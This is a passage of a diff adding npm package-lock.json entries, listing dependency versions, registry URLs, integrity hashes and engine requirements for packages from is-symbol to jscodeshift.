+ "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.1.tgz", + "integrity": "sha1-PMWfAAJRlLarLjjbrmaJJWtmBXI=", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", + "dev": true + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-utf8": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", + "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", + "dev": true + }, + "node_modules/is-windows": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-wsl": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz", + "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0=", + "engines": { + "node": ">=4" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + }, + "node_modules/isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "dev": true, + "dependencies": { + "isarray": "1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/isomorphic-fetch": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/isomorphic-fetch/-/isomorphic-fetch-2.2.1.tgz", + "integrity": "sha1-YRrhrPFPXoH3KVB0coGf6XM1WKk=", + "dependencies": { + "node-fetch": "^1.0.1", + "whatwg-fetch": ">=0.10.0" + } + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", + "dev": true + }, + "node_modules/jed": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/jed/-/jed-1.1.1.tgz", + "integrity": "sha1-elSbvZ/+FYWwzQoZHiAwVb7ldLQ=", + "dev": true + }, + "node_modules/jest-environment-node": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.4.3.tgz", + "integrity": "sha512-gAiEnSKF104fsGDXNkwk49jD/0N0Bqu2K9+aMQXA6avzsA9H3Fiv1PW2D+gzbOSR705bWd2wJZRFEFpV0tXISg==", + "peer": true, + "dependencies": { + "@jest/environment": "^29.4.3", + "@jest/fake-timers": "^29.4.3", + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-mock": "^29.4.3", + "jest-util": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-get-type": { + "version": "26.3.0", + "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-26.3.0.tgz", + "integrity": "sha512-TpfaviN1R2pQWkIihlfEanwOXK0zcxrKEE4MlU6Tn7keoXdN6/3gK/xl0yEh8DOunn5pOVGKf8hB4R9gVh04ig==", + "peer": true, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-message-util": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.4.3.tgz", + "integrity": "sha512-1Y8Zd4ZCN7o/QnWdMmT76If8LuDv23Z1DRovBj/vcSFNlGCJGoO8D1nJDw1AdyAGUk0myDLFGN5RbNeJyCRGCw==", + "peer": true, + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^29.4.3", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^29.4.3", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-message-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "peer": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-message-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/jest-message-util/node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "peer": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "peer": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/jest-message-util/node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "peer": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/jest-message-util/node_modules/pretty-format": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.4.3.tgz", + "integrity": "sha512-cvpcHTc42lcsvOOAzd3XuNWTcvk1Jmnzqeu+WsOuiPmxUJTnkbAcFNsRKvEpBEUFVUgy/GTZLulZDcDEi+CIlA==", + "peer": true, + "dependencies": { + "@jest/schemas": "^29.4.3", + "ansi-styles": "^5.0.0", + "react-is": "^18.0.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-message-util/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/react-is": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", + "peer": true + }, + "node_modules/jest-message-util/node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-message-util/node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "peer": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/jest-mock": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.4.3.tgz", + "integrity": "sha512-LjFgMg+xed9BdkPMyIJh+r3KeHt1klXPJYBULXVVAkbTaaKjPX1o1uVCAZADMEp/kOxGTwy/Ot8XbvgItOrHEg==", + "peer": true, + "dependencies": { + "@jest/types": "^29.4.3", + "@types/node": "*", + "jest-util": "^29.4.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "peer": true, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-serializer": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz", + "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==", + "peer": true, + "dependencies": { + "@types/node": "*", + "graceful-fs": "^4.2.9" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-util": { + "version": "29.4.3", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.4.3.tgz", + "integrity": "sha512-ToSGORAz4SSSoqxDSylWX8JzkOQR7zoBtNRsA7e+1WUX5F8jrOwaNpuh1YfJHJKDHXLHmObv5eOjejUd+/Ws+Q==", + "peer": true, + "dependencies": { + "@jest/types": "^29.4.3", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, + "node_modules/jest-util/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-util/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-util/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/jest-util/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-util/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-26.6.2.tgz", + "integrity": "sha512-NEYZ9Aeyj0i5rQqbq+tpIOom0YS1u2MVu6+euBsvpgIme+FOfRmoC4R5p0JiAUpaFvFy24xgrpMknarR/93XjQ==", + "peer": true, + "dependencies": { + "@jest/types": "^26.6.2", + "camelcase": "^6.0.0", + "chalk": "^4.0.0", + "jest-get-type": "^26.3.0", + "leven": "^3.1.0", + "pretty-format": "^26.6.2" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-validate/node_modules/@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "peer": true, + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": ">= 10.14.2" + } + }, + "node_modules/jest-validate/node_modules/@types/yargs": { + "version": "15.0.15", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-15.0.15.tgz", + "integrity": "sha512-IziEYMU9XoVj8hWg7k+UJrXALkGFjWJhn5QFEv9q4p+v40oZhSuC135M38st8XPjICL7Ey4TV64ferBGUoJhBg==", + "peer": true, + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-validate/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "peer": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/jest-validate/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-validate/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/jest-validate/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/jest-validate/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-validate/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "peer": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/joi": { + "version": "17.8.3", + "resolved": "https://registry.npmjs.org/joi/-/joi-17.8.3.tgz", + "integrity": "sha512-q5Fn6Tj/jR8PfrLrx4fpGH4v9qM6o+vDUfD4/3vxxyg34OmKcNqYZ1qn2mpLza96S8tL0p0rIw2gOZX+/cTg9w==", + "peer": true, + "dependencies": { + "@hapi/hoek": "^9.0.0", + "@hapi/topo": "^5.0.0", + "@sideway/address": "^4.1.3", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/jquery": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.3.1.tgz", + "integrity": "sha512-Ubldcmxp5np52/ENotGxlLe6aGMvmF4R8S6tZjsP6Knsaxd/xp3Zrh50cG93lR6nPXyUFwzN3ZSOQI0wRJNdGg==" + }, + "node_modules/jquery-timepicker": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/jquery-timepicker/-/jquery-timepicker-1.3.3.tgz", + "integrity": "sha1-A0FgyQpSYZ32iWPtp2JdH8qJy3o=", + "dependencies": { + "jquery": ">= 1.4.3" + }, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/js-base64": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.4.5.tgz", + "integrity": "sha512-aUnNwqMOXw3yvErjMPSQu6qIIzUmT1e5KcU1OZxRDU1g/am6mzBvcrmLAYwzmB59BHPrh5/tKaiF4OPhqRWESQ==", + "dev": true + }, + "node_modules/js-beautify": { + "version": "1.14.7", + "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.7.tgz", + "integrity": "sha512-5SOX1KXPFKx+5f6ZrPsIPEY7NwKeQz47n3jm2i+XeHx9MoRsfQenlOP13FQhWvg8JRS0+XLO6XYUQ2GX+q+T9A==", + "dev": true, + "dependencies": { + "config-chain": "^1.1.13", + "editorconfig": "^0.15.3", + "glob": "^8.0.3", + "nopt": "^6.0.0" + }, + "bin": { + "css-beautify": "js/bin/css-beautify.js", + "html-beautify": "js/bin/html-beautify.js", + "js-beautify": "js/bin/js-beautify.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/js-beautify/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/js-beautify/node_modules/glob": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-8.1.0.tgz", + "integrity": "sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^5.0.1", + "once": "^1.3.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/js-beautify/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dev": true, + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/js-beautify/node_modules/nopt": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-6.0.0.tgz", + "integrity": "sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==", + "dev": true, + "dependencies": { + "abbrev": "^1.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", + "integrity": "sha1-Fzb939lyTyijaCrcYjCufk6Weds=", + "dev": true + }, + "node_modules/js-tokens": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", + "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=" + }, + "node_modules/js-yaml": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.7.0.tgz", + "integrity": "sha1-XJZ93YN6m/3KXy3oQlOr6KHAO4A=", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^2.6.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/js2xmlparser": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-3.0.0.tgz", + "integrity": "sha1-P7YOqgicVED5MZ9RdgzNB+JJlzM=", + "dev": true, + "dependencies": { + "xmlcreate": "^1.0.1" + } + }, + "node_modules/jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", + "dev": true, + "optional": true + }, + "node_modules/jsc-android": { + "version": "250231.0.0", + "resolved": "https://registry.npmjs.org/jsc-android/-/jsc-android-250231.0.0.tgz", + "integrity": "sha512-rS46PvsjYmdmuz1OAWXY/1kCYG7pnf1TBqeTiOJr1iDz7s5DLxxC9n/ZMknLDxzYzNVfI7R95MH10emSSG1Wuw==", + "peer": true + }, + "node_modules/jscodeshift": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/jscodeshift/-/jscodeshift-0.13.1.tgz", + "integrity": "sha512-lGyiEbGOvmMRKgWk4vf+lUrCWO/8YR8sUR3FKF1Cq5fovjZDlIcw3Hu5ppLHAnEXshVffvaM0eyuY/AbOeYpnQ==", + "peer": true, + "dependencies": { + "@babel/core": "^7.13.16", + "@babel/parser": "^7.13.16", + "@babel/plugin-proposal-class-properties": "^7.13.0", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", + "@babel/plugin-proposal-optional-chaining": "^7.13.12", + "@babel/plugin-transform-modules-commonjs": "^7.13.8", + "@babel/preset-flow": "^7.13.13", + "@babel/preset-typescript": "^7.13.0", + "@babel/register": "^7.13.16", + "babel-core": "^7.0.0-bridge.0", + "chalk": "^4.1.2", + "flow-parser": "0.*", + "graceful-fs": "^4.2.4", + "micromatch": "^3.1.10", + "neo-async": "^2.5.0", + "node-dir": "^0.1.17", + "recast": "^0.20.4", + "temp": "^0.8.4", + "write-file-atomic": "^2.3.0" + }, + "bin": { + 